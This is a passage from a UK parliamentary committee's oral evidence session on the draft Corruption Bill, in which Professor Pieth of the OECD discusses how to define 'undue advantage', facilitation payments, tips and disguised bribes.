it is improper to knowingly promise money to someone who has no
title to it in order to influence him to conduct his business.
There is no need to say "improper" additionally because
it is improper by definition to intentionally confer an advantage
that he has no title to.
Q388 Lord Waddington: There has to
be something to prevent somebody being called a criminal for the
mere payment of money without any improper motive at all. I have
mentioned often in this Committee that, at the moment, the Bill
is so broadly framed I would be a criminal if I were to pay money
to a baggage handler at Heathrow to get him to hurry up and extract
my baggage from the mass of other baggage. That must be wrong,
must it not, if your legislation is so widely drawn it stigmatises
as criminal acts which no reasonable person would consider criminal?
Professor Pieth: Let me give you
two answers. The OECD's position is that we are asking you to
deal with so-called genuine, straightforward grand corruption.
We are not dealing with small facilitation payments that are sometimes
necessary to move around or to get a telephone installed. We are
under heavy criticism worldwide for this. The reason why we are
doing that is because we have a kind of long arm jurisdiction
situation here. You are in a way tidying up situations in Kazakhstan
from here which is very difficult and is only going to work in
very major cases. If we have to envisage a case run in Britain
on ten pounds that have been given to a baggage collector at an
airport somewhere in Kazakhstan, that would not be practicable.
For that reason, we have said we are not dealing with that.
Q389 Chairman: How do you set the
limit? If you are going to do it by law rather than practice and
not prosecute, how do you set the limit for these facilitation
payments?
Professor Pieth: Different countries
have chosen different solutions. For instance, the German speaking
world on the continent have been saying payments for an act that
is impermissible, going against the law, are covered. That can
be a small payment. If a policeman does not give you a fine because
you have given him ten pounds, that is a clear case of corruption.
That is one approach, that you say it was in furtherance of an
illegal act. The other approach would be the one the Americans
and the Canadians have chosen. You have an explicit, affirmative
exception saying small payments for routine government transactionsthat
is the wording they useare not acceptable but are not criminalised.
We are not saying that is allowed. We are not saying it is good
because we would get into serious trouble in Pakistan, India and
other places. People are suffering from that behaviour being multiplied,
and that causes a problem but it is not something we can tidy
up from here.
Q390 Chairman: Do you not give a
guidance or definition as to what is meant by "small"?
Professor Pieth: No. There are
guidances given in some countries. Around $500 has been one such
approach. Other countries do not have a distinction. France, for
instance, has no distinction as to the current UK law but what
you certainly do in France and in the UK at the moment is that,
in procedural terms, you would filter cases. You are not forced
to take up every case. The prosecutorial discretion would take
care of that situation. In France you have an informal threshold.
I do not know what it is.
Q391 Vera Baird: I wanted to go back
to the attempt to define the act. Looking at Article I in the
OECD Convention, there is a problem for us in the notion of "undue"
which does not mean illegal. It has two quite separate meanings
apart from slightly improper. It means not timely. It means not
due now but perhaps due later, like a bus coming. It also has
an element that there may be an advantage which is due but this
is too big an advantage. There is a quantitative element too and
I do not think it therefore does encapsulate it. If one looked
at Article I and just replaced the word "undue" with
"to which he had no legal entitlement" it would say
that it would be an offence for a person intentionally to offer,
promise or give any advantage to which the recipient had no legal
entitlement in order that the official refrain or act. That would
sum it up, would it not? Would that be sufficient?
Professor Pieth: Yes.
Vera Baird: From our point of view, would
not intentionally giving something to which there was no legal
entitlement in order that someone refrain or perform something
outside their official duties be sufficient to define "corruption"?
Chairman: Would you see that as covering
tips given after the event or only tips given before the event?
Q392 Mr Garnier: Or anticipatory
tips?
Professor Pieth: It is basically
aiming at the situation where you are trying to influence someone.
It covers payments before. I think your Bill is also covering
gratuities, payments afterwards. That is not something we would
require in the context of transnational bribery. You are doing
that for different purposes to cover the Council of Europe's Convention
or for domestic purposes. That is not something we would insist
on.
Q393 Mr Garnier: My question deals
with the undue pecuniary or other advantage in Article I. I am
not a criminal lawyer but I wonder whether we get any assistance
from our own Theft Act of 1968 where we have a collection of offences
broadly dealing with the obtaining of pecuniary advantage, either
by deception or by some other form of dishonesty. I do not know
whether that is something that in our jurisdiction we could usefully
import into your criticisms to produce a better answer to the
problem of "undue advantage" or payment.
Professor Pieth: Not being a specialist
in your Theft Act, what seems to be the problem is that we are
quite broad by saying that there is no legal entitlement. We are
not saying it is forbidden to take that; it is simply not something
that you have a right to take, which captures many more cases.
Mr Garnier: The easy circumstances are
the obvious bribe of paying somebody $1 million to do something
and giving a waiter a five euro tip for bringing your coffee rather
more quickly than the next table's. The difficulty is going to
come in that grey area, the margin, whether the tip moves from
being a gratuity to becoming a corrupt payment. What we must try
to do presumably in drafting our statute is to make that grey
area rather less grey so that the lawyer, the businessman, the
public official in Egypt
Chairman: If you give somebody £5
to carry your bag which he is not legally entitled to, it does
not necessarily make it corrupt, whether you give it before or
afterwards, does it?
Mr Garnier: Equally, if we make you late
for your aeroplane this evening, if you tell the taxi man, "I
will pay you twice what is on the metre if you get me there in
time", you are encouraging him to break the speed limit.
Q394 Chairman: Take the £5 tip
and the extra tip to make someone go faster than the law allows.
Are they in a different category?
Professor Pieth: The answer goes
back to the system we have in our own country where we introduced
the provision that you are encouraging him to break the law. If
my inducement to the taxi driver would result in him breaking
the law by speeding, then I would be in effect and if you were
a public official that is another additional requirement you would
have.
Q395 Lord Campbell-Savours: That
was the reference to "in furtherance of another illegal act"?
Professor Pieth: Yes.
Q396 Lord Campbell-Savours: Where
is that applied? You have talked about different countries. What
about France?
Professor Pieth: There would be
the German solution. The Swiss solution uses that wordingthe
German speaking world generally. Other countries have a more extensive
notion of "undue". They would try to capture these cases
that we do not want to capture with the word "undue".
Q397 Mr Stinchcombe: I wonder whether
there might be a difficulty with just focusing on the legal entitlement
aspect. Would it not be possible for people to enter into all
sorts of collateral contracts so that there is an entitlement
to receive money under those contracts and they say that they
are legitimately entered into when in fact they are used as a
guise simply to exert undue influence? I wonder whether, in order
to meet the points made by my colleagues about improper motive,
it is not necessary for us to put something in about the intention
wrongly to influence someone. That does seem to me to be the essence
of the advice we are targeting.
Professor Pieth: My quarrel is
not with your approach generally, if your general approach is
to have that kind of qualifier. The difficulty is what does this
actually mean. Can you make sure that it is not broader than what
other countries are doing? We have so far not seen a very straightforward
definition of what it really means. We have insecure ways where
the clause tried to say what corrupt conduct is. The meaning of
corrupt conduct has left a lot of questions open.
Q398 Mr Stinchcombe: What about the
point on legal entitlement? Is there not a danger that people
will simply enter into collateral contracts ostensibly offering
perfectly legal services and that be used as a fiction in order
to colour what would otherwise be a corrupt relationship?
Professor Pieth: A situation I
have known from France is that frequently public officials are
offering to write an expert opinion and the value of the expert
opinion is 5,000 but they are receiving 100,000 for it. That is
a typical way of bribing. That is the kind of thing you would
do if you wanted to camouflage something.
Q399 Mr Garnier: That is a matter
of evidence rather than legal definition.
Professor Pieth: Yes. Of course
there are ways of trying to go round it. The difficulty there
is that a public official in most systems would have to explain
why they were giving expert opinions and things like that outside
their job. If they enter into all sorts of agreements, there is
a need to explain why they are doing this. | http://www.publications.parliament.uk/pa/jt200203/jtselect/jtcorr/157/3060204.htm | CC-MAIN-2016-50 | refinedweb | 2,460 | 62.68 |
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